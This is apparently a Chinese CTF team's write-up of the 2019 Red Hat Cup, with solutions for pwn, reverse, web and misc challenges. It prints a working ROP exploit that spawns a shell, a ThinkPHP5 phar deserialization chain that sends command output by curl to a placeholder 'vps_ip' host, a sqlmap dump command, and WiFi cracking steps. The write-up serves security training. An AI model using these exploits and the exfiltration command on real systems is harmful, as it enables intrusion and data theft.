Xi4or0uji's blog

2019红帽杯wp

字数统计: 2.4k阅读时长: 11 min
2019/11/12 Share

前言

上个周末打了个红帽杯,题目还是一如既往地难,菜鸡还是一如既往地菜Orz,放下队内wp

PWN

three

静态编译文件,开了NX

有一个3字节的shellcode可以操作;在Tell me的时候写入ropchain,再执行shellcode跳转到0x80f6cc0执行ropchain
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack

# Padding goes here
p = ''
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5004) # @ .data + 4
p += pack('<I', 0x080c11e6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x080573e5) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481d9) # pop ebx ; ret
p += pack('<I', 0x080f5000) # @ .data
p += pack('<I', 0x08072fb2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080f5000) # padding without overwrite ebx
p += pack('<I', 0x08072f8b) # pop edx ; ret
p += pack('<I', 0x080f5008) # @ .data + 8
p += pack('<I', 0x080569a0) # xor eax, eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x0808041a) # inc eax ; ret
p += pack('<I', 0x08049903) # int 0x80

from pwn import *
context.log_level = 'debug'
# io = process('./pwn')
io = remote("47.104.190.38","12001")

sd = lambda s:io.send(s)
sl = lambda s:io.sendline(s)
rc = lambda s:io.recv(s)
ru = lambda s:io.recvuntil(s)
sda = lambda a,s:io.sendafter(a,s)
sla = lambda a,s:io.sendlineafter(a,s)

ru("index:\n")
sl('0')
ru("much!\n")
sl("\x89\xcc\xc3")
ru("size:\n")
sl(str(0x200))
ru("me:\n")
# gdb.attach(io,"b *0x8048C50")
sl(p)

io.interactive()

RE

easyRE

一开始被坑了,base64一直解密出来一个网站,发现找不到flag,后来想到第一个输入的hint是找flag头,于是一个个找,发现了真正的主逻辑:

先通过flag字符和table前四个数异或解出key,这里把table和key字符异或就可出了:

1
2
3
4
5
6
7
cc = ""
t = [0x40, 0x35, 0x20, 0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45,0x5B]
key = 0x26594131
k = [0x26,0x59,0x41,0x31]
for j in range(len(t)):
cc += chr(t[j] ^ k[j % 4])
print cc

xx

这题一共3关,第一关xxtea,根据输入是完整格式flag{xxxxxxxxxxxx},而key是取了输入的前4字节,所以可以动态调试,可以提取出key就是flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00,知道密文即可解密出来;第二关是置换这个简单,第三关是迭代异或,这里动态调试跟汇编得到计算过程:

接着有个cmp的比较,所以我们知道密文,可以逆向解迭代异或,再置换,再xxtea解密即可得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#coding=utf8
import struct

message = '\xbc\xa5\xce\x40\xf4\xb2\xb2\xe7\xa9\x12\x9d\x12\xae\x10\xc8\x5b\x3d\xd7\x06\x1d\xdc\x70\xf8\xdc'

key = "flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

data = 0x9E3779B9

def _long2str(v, w):
n = (len(v) - 1) << 2
if w:
m = v[-1]
if (m < n - 3) or (m > n): return ''
n = m
s = struct.pack('<%iL' % len(v), *v)
return s[0:n] if w else s

def _str2long(s, w):
n = len(s)
m = (4 - (n & 3) & 3) + n
s = s.ljust(m, "\x00")
v = list(struct.unpack('<%iL' % (m >> 2), s))
if w: v.append(n)
return v

def decrypt(str, key):
if str == '': return str
v = _str2long(str, False)
k = _str2long(key.ljust(16, "\x00"), False)
n = len(v) - 1
z = v[n]
y = v[0]
q = 6 + 52 // (n + 1)
sum = (q * data) & 0xffffffff
while (sum != 0):
e = sum >> 2 & 3
for p in xrange(n, 0, -1):
z = v[p - 1]
v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff
y = v[p]
z = v[n]
v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff
y = v[0]
sum = (sum - data) & 0xffffffff
return _long2str(v, True)

if __name__ == "__main__":
flag = decrypt(message,key)
print flag

childRE

直接分析主逻辑

这题有3关,第一关对输入进行了一个排序算法,这个好逆,第二关是把排完序的字符串进行了一个函数名扩展修饰,使得31位的输入变成了62位,再进行了一个简单的check(这里直接爆破即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
string = []
k = 0
for m in range(62):
for i in range(1000):
k = i % 23
p = i / 23
if table[p]==a[m]:
if table[k]==b[m]:
string.append(i)
break
u = ''
for i in string:
u += chr(i)
print u
#"private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)"

难点在于那个C++的函数名修饰扩展,这个自学了一波,写了个还原成未修饰的字符的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream>
using namespace std;
class R0Pxx {
public:
R0Pxx(int val) {
unsigned char a = 0x41;
My_Aut0_PWN(&a);
}

private:
char* __thiscall My_Aut0_PWN(unsigned char* a) {
cout << "hello !";
printf("Decorated function name: %s\n", __FUNCDNAME__);
printf("Function signature: %s\n", __FUNCSIG__);
return 0;
};

};
int main() {
R0Pxx ropxx(1);
return 0;
}


得到了排序后的字符:”?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z”,排序算法直接用小技巧:kk = “0123456789abcdefghijklmnopqrstu”,gg = “fg7hi83jk9lma41nobpqc5rsdtue620”就可知道原来字符的位置,所以直接替换位置既可得到:
Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP
最后MD5加密下得到flag:
flag{63b148e750fed3a33419168ac58083f5}

calc

这题作者自己实现了一个大数运算,有3次输入,每次输入一个大整数,既可得到flag,然后通过调试和分析可以得到搞出关键性的check,前面的计算没有用到,白分析了
哎,直接看分析出来的关键性check

1
((input1 + input2) * (input1 + input2) * (input1 + input2) - 3 * input1 * input2 * input2 - 3 * input2 * input1 * input1 == ((4 + input3) * (4 + input3) * (4 + input3) - (input3 * input3) * 12 - 48 * input3 - 22))

我们用x1,x2和x3表示3个输入,然后化简得到

1
(x1+x2)^3-3*x1x2x3-3*x2*x1^2==(4+x3)^3-12*x3^2-48*x3-22

将3次幂拆分成2次幂,然后再化简约去同类项可得:x1^3 + x2^3 +(-x3)^3 = 42,这里一开始用z3跑,用symp都跑不出来,申请写了3个for循环爆破,但是都出不了,后面上网谷歌,找到一篇文章::https://zhuanlan.zhihu.com/p/81655767

所以直接得到3个数:

1
2
3
x1= 80435758145817515
x2=12602123297335631
x3= 80538738812075974

输入程序最后拿到flag:flag{951e27be2b2f10b7fa22a6dc8f4682bd}

WEB

ticket_system

首先有个xxe注入的地方,利用postXML去读源文件

把源文件和readflag文件读下来以后可以分析出,攻击过程是上传一个可执行的php,通过thinkphp5的pop链和phar去触发反序列化漏洞
readflag文件和*ctf那题一模一样,直接拿当初的脚本就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
$question = fread($pipes[1],1024);
$question = fread($pipes[1],1024);
$question = trim($question);
echo $question;
eval('$result = '.$question.';');
fwrite($pipes[0], $result);
fclose($pipes[0]);
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);
echo $flag;
fclose($pipes[1]);
$return_value = proc_close($process);
echo $return_value;
}
?>

上传过去以后拿微笑师傅的pop链打过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}

namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}

trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");

public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}

namespace {
$Conver = new think\model\Pivot("curl http://vps_ip:2334/ -d `php /tmp/uploads/0cc175b9c0f1b6a831c399e269772661/20191111/6582f47189690b9acfc01cc069af8ea8.xml|tac|tr -d \"\\n\"|sed 's/ //g'`;");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}

easyweb

找xyhcms源码挖洞

1
sqlmap.py -u http//xxx/index.php?s=api/lt/gbooklist&orderby=*  --technique=B  --tamper between -D xyhcms -T fl4g -C flaag --dump

MISC

签到

填个问卷就行

Advertising for Marriage

首先是浏览文件,然后看到有张vegetable.png

把这张图片dump下来以后在linux里面是打不开的,提示CRC错误,通过CRC码爆破出高度是D3

在notepad里面看到一段hint

然后图片去模糊出来的不是对的flag,到这里似乎卡住了,放去stego看一下,每个RGB通道都有一段干扰的信息,猜测是lsb隐写

那秘钥是什么呢,估计是前面的hint那段,剩下的就是找前四个是什么字母了
再继续看进程看见有个画图进程

把它dump下来用gimp打开看到是

接下来就是lsb恢复加密的数据(这里吐槽一波出题人英语不好,friend打错了,结果弄了一个晚上才发现是错的….dbq或许他不缺女朋友

base64解密以后提示维吉尼亚,gnxtmwg7r1417psedbs62587h0,密钥:bcxneedmoneyandgirlfirend,解密就能得到flag:d7f1417bfafbf62587e0

恶臭的数据包

拿到数据包发现全是wifi加密的流量,马上想到

1
aircrack-ng  cacosmia.cap

发现数据包网路名称是mamawoxiangwantiequan,然后想到爆破八位的wifi密码提取原包,本来生成了个700多m的字典去爆,发现要10h就直接顺手先试试弱密码12345678,解出源包cacosmia-dec.cap

然后提取http协议传输的文件,binwalk最大那个发现一张图和一个加密压缩包,找到传压缩包的tcp流,发现cookie中JWT有hint,压缩包密码是ping的网址

过滤dns协议网址,一个个试,找到最后一个就是密码

解压出flag,flag{f14376d0-793e-4e20-9eab-af23f3fdc158}

CRYPTO

boardcast

出题人失误,源文件直接放了flag

剩下的密码学好难啊,只能等大佬们的wp复现了

CATALOG
  1. 1. 前言
  2. 2. PWN
    1. 2.1. three
  3. 3. RE
    1. 3.1. easyRE
    2. 3.2. xx
    3. 3.3. childRE
    4. 3.4. calc
  4. 4. WEB
    1. 4.1. ticket_system
    2. 4.2. easyweb
  5. 5. MISC
    1. 5.1. 签到
    2. 5.2. Advertising for Marriage
    3. 5.3. 恶臭的数据包
  6. 6. CRYPTO
    1. 6.1. boardcast